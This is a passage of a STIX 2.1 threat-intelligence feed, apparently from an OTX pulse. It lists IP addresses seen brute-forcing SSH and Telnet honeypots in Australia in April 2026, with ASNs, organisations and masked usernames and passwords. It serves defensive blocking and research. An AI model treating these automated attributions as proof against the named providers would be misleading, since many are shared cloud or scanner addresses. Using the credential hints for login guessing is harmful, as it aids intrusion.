      "valid_from": "2026-04-24T03:15:10.000Z",
      "valid_until": "2026-05-26T03:15:08.000Z"
    },
    {
      "created": "2026-04-24T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 502. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, c***o, s*****t, u**t. Passwords observed (masked): 1**4, p******d, 1***5, a***n, *****.",
      "id": "indicator--4b599b15-740a-4ec7-be27-028c47dd0129",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.110.210.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T04:15:10.000Z",
      "valid_until": "2026-05-26T04:15:08.000Z"
    },
    {
      "created": "2026-04-24T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--56ac12d8-c3dc-42cf-9c9c-b06d9db2e839",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '146.148.117.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T04:15:10.000Z",
      "valid_until": "2026-05-26T04:15:08.000Z"
    },
    {
      "created": "2026-04-24T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 304. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, t**t, u****u, 3**********4, a**i. Passwords observed (masked): 1****6, 3***********4, 3**********4, *, ***.",
      "id": "indicator--ff13b4e8-7900-4d9f-ae48-7f3af1bdd9a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.32.186.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T04:15:10.000Z",
      "valid_until": "2026-05-26T04:15:08.000Z"
    },
    {
      "created": "2026-04-24T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 516. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, t**t, u**r, ***. Passwords observed (masked): 1****6, a***n, P******d, a****3, p******d.",
      "id": "indicator--62d48f96-c92c-4ac2-bd76-6d96916c5596",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '171.231.176.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T04:15:10.000Z",
      "valid_until": "2026-05-26T04:15:08.000Z"
    },
    {
      "created": "2026-04-24T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 233. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 13999. Organisation(s): Mega Cable, S.A. de C.V.. Usernames observed (masked): r**t, t**t, u**r, 3**********4, ***. Passwords observed (masked): ***, 1*******1, 1********0, 1**********$, 1*******D.",
      "id": "indicator--0606b29a-6c69-49f4-83dd-a39ee9f8b984",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '177.229.197.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T04:15:10.000Z",
      "valid_until": "2026-05-26T04:15:08.000Z"
    },
    {
      "created": "2026-04-24T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--67775284-aa0c-44de-bdb5-9641bdba4aa4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.22.231.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T04:15:10.000Z",
      "valid_until": "2026-05-26T04:15:08.000Z"
    },
    {
      "created": "2026-04-24T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 196. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--06106695-ebda-4544-872a-e8901cca9799",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '42.179.147.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T04:15:10.000Z",
      "valid_until": "2026-05-26T04:15:08.000Z"
    },
    {
      "created": "2026-04-24T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 211. Sensors involved: Heralding. Target ports: 1080. Source country: SC. ASN(s): 401615. Organisation(s): ACCK LLC. Usernames observed (masked): a***n, r**t, u**r, ***, 1****6. Passwords observed (masked): ***, 1****6, 1**4, *, 1***5.",
      "id": "indicator--4b0b241f-654a-4364-8ac3-50e7af557c2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.196.235.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T04:15:10.000Z",
      "valid_until": "2026-05-26T04:15:08.000Z"
    },
    {
      "created": "2026-04-24T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 221. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, t**t, u****u, 3**********4, a**i. Passwords observed (masked): 1****6, *, ***, 1**********c, 3***********4.",
      "id": "indicator--93bace69-c151-40a6-8be7-ef1eabbc200c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '68.220.171.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T04:15:10.000Z",
      "valid_until": "2026-05-26T04:15:08.000Z"
    },
    {
      "created": "2026-04-24T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--83db5fb4-88cf-4693-a684-7135d26c6bad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '72.255.19.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T04:15:10.000Z",
      "valid_until": "2026-05-26T04:15:08.000Z"
    },
    {
      "created": "2026-04-24T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): a***a, r**t. Passwords observed (masked): Q*******5, a***a.",
      "id": "indicator--a09d0e8d-1fc7-44f3-bf06-a20e5229b79c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '122.177.246.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T05:15:11.000Z",
      "valid_until": "2026-05-26T05:15:08.000Z"
    },
    {
      "created": "2026-04-24T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): u****u. Passwords observed (masked): a*********!.",
      "id": "indicator--a52450a4-d7de-4a95-bb13-904791a7c2b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.103.126.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T05:15:11.000Z",
      "valid_until": "2026-05-26T05:15:08.000Z"
    },
    {
      "created": "2026-04-24T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--b66f61cf-0654-43c2-b3ad-449f795af908",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T05:15:11.000Z",
      "valid_until": "2026-05-26T05:15:08.000Z"
    },
    {
      "created": "2026-04-24T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--2801727d-2f71-409d-9646-e608f4d81c16",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T05:15:11.000Z",
      "valid_until": "2026-05-26T05:15:08.000Z"
    },
    {
      "created": "2026-04-24T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--07dadcc2-f0fe-4b76-8641-7c26dfc3fd27",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '223.123.43.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T05:15:11.000Z",
      "valid_until": "2026-05-26T05:15:08.000Z"
    },
    {
      "created": "2026-04-24T06:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 209. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 131447. Organisation(s): POPIDC powered by CSLoxinfo. Usernames observed (masked): u**r, o**o, r**t, s****y, 3**********4. Passwords observed (masked): 1****6, 1**4, 1*******9, 1*******3, 3***********4.",
      "id": "indicator--6f2be6b0-8cff-4ae2-8e8d-0c278d39eec6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.246.19.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T06:15:12.000Z",
      "valid_until": "2026-05-26T06:15:08.000Z"
    },
    {
      "created": "2026-04-24T06:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c408d959-3e13-4f1a-8ac5-06862b0c3b72",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.154.44.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T06:15:12.000Z",
      "valid_until": "2026-05-26T06:15:08.000Z"
    },
    {
      "created": "2026-04-24T06:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): ***. Passwords observed (masked): V**!.",
      "id": "indicator--4f3e502e-8e3d-47a9-bb19-21a0a7b6b246",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '143.244.131.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T06:15:12.000Z",
      "valid_until": "2026-05-26T06:15:08.000Z"
    },
    {
      "created": "2026-04-24T06:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--50cc928e-9ba3-4cd5-a313-cf87294f4bde",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '58.242.60.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T06:15:12.000Z",
      "valid_until": "2026-05-26T06:15:08.000Z"
    },
    {
      "created": "2026-04-24T06:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--121f90ed-a724-4dcd-b31b-832e111d762f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T06:15:12.000Z",
      "valid_until": "2026-05-26T06:15:08.000Z"
    },
    {
      "created": "2026-04-24T06:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 31. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EG. ASN(s): 36992. Organisation(s): Etisalat Misr. Usernames observed (masked): *, a***n, ***, o******i, r**t. Passwords observed (masked): , *, a***n, o******i, r**t.",
      "id": "indicator--a0a5d843-c850-4136-931f-78a6f6a2f0b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '84.36.90.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T06:15:12.000Z",
      "valid_until": "2026-05-26T06:15:08.000Z"
    },
    {
      "created": "2026-04-24T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: KZ. ASN(s): 44877. Organisation(s): RETN KZ Ltd.",
      "id": "indicator--78e40859-01cc-4d42-b7cc-7685f50d370e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '139.45.211.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T07:15:11.000Z",
      "valid_until": "2026-05-26T07:15:09.000Z"
    },
    {
      "created": "2026-04-24T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): *, a***n, ***, r**t. Passwords observed (masked): , *, a***n, r**t.",
      "id": "indicator--303c5f10-4e6e-4b98-8906-5239c521394f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '159.89.31.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T07:15:11.000Z",
      "valid_until": "2026-05-26T07:15:09.000Z"
    },
    {
      "created": "2026-04-24T08:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 31898. Organisation(s): Oracle Corporation.",
      "id": "indicator--f7b47051-fe66-4216-a41f-82608c2e96ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '161.33.181.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T08:15:12.000Z",
      "valid_until": "2026-05-26T08:15:08.000Z"
    },
    {
      "created": "2026-04-24T08:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC. Usernames observed (masked): r**t. Passwords observed (masked): .",
      "id": "indicator--d99b5f9a-f339-4271-abd4-600aad94c40b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T08:15:12.000Z",
      "valid_until": "2026-05-26T08:15:08.000Z"
    },
    {
      "created": "2026-04-24T08:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 7122. Organisation(s): Bell Canada.",
      "id": "indicator--eb79a34b-a729-4f5a-83e6-303ede0c2609",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '209.202.4.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T08:15:12.000Z",
      "valid_until": "2026-05-26T08:15:08.000Z"
    },
    {
      "created": "2026-04-24T08:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********9, H**********************3.",
      "id": "indicator--22d43438-681c-41e6-ba66-b37adf4f9378",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.140.17.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T08:15:12.000Z",
      "valid_until": "2026-05-26T08:15:08.000Z"
    },
    {
      "created": "2026-04-24T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--a31092b2-1f51-4685-aa81-161d41414175",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.47.158.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:15:10.000Z",
      "valid_until": "2026-05-26T09:15:08.000Z"
    },
    {
      "created": "2026-04-24T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 233. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 7506. Organisation(s): GMO Internet Group, Inc.. Usernames observed (masked): r**t, a***n, ***, n*****y, t**t. Passwords observed (masked): 1****6, 1*******!, 2****************s, 3****6, 3***********4.",
      "id": "indicator--7f955b74-78ba-46b4-94dd-33c17d50b3b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '157.7.113.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:15:10.000Z",
      "valid_until": "2026-05-26T09:15:08.000Z"
    },
    {
      "created": "2026-04-24T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 68. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********1, H**********************3.",
      "id": "indicator--838732f4-5fb8-4faa-9242-adbd6a4f9853",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '35.189.252.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:15:10.000Z",
      "valid_until": "2026-05-26T09:15:08.000Z"
    },
    {
      "created": "2026-04-24T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--6fe4798e-00e9-47b8-a8c5-c33549603428",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '59.103.119.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:15:10.000Z",
      "valid_until": "2026-05-26T09:15:08.000Z"
    },
    {
      "created": "2026-04-24T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--76be0737-7c02-47cc-8a6f-6439a6a21dc1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '157.230.121.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T10:15:10.000Z",
      "valid_until": "2026-05-26T10:15:08.000Z"
    },
    {
      "created": "2026-04-24T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 211298. Organisation(s): Driftnet Ltd.",
      "id": "indicator--0da29686-9aa0-4b01-acea-54d9e4c2058e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.247.137.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T10:15:10.000Z",
      "valid_until": "2026-05-26T10:15:08.000Z"
    },
    {
      "created": "2026-04-24T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--1d74b620-5f19-4157-b743-bb4fc200247b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '207.154.198.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T10:15:10.000Z",
      "valid_until": "2026-05-26T10:15:08.000Z"
    },
    {
      "created": "2026-04-24T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): p****d.",
      "id": "indicator--6381c169-8d0e-4a5f-9dcf-0f0ad4894aac",
      "labels": [
        "bruteforce"
      ],
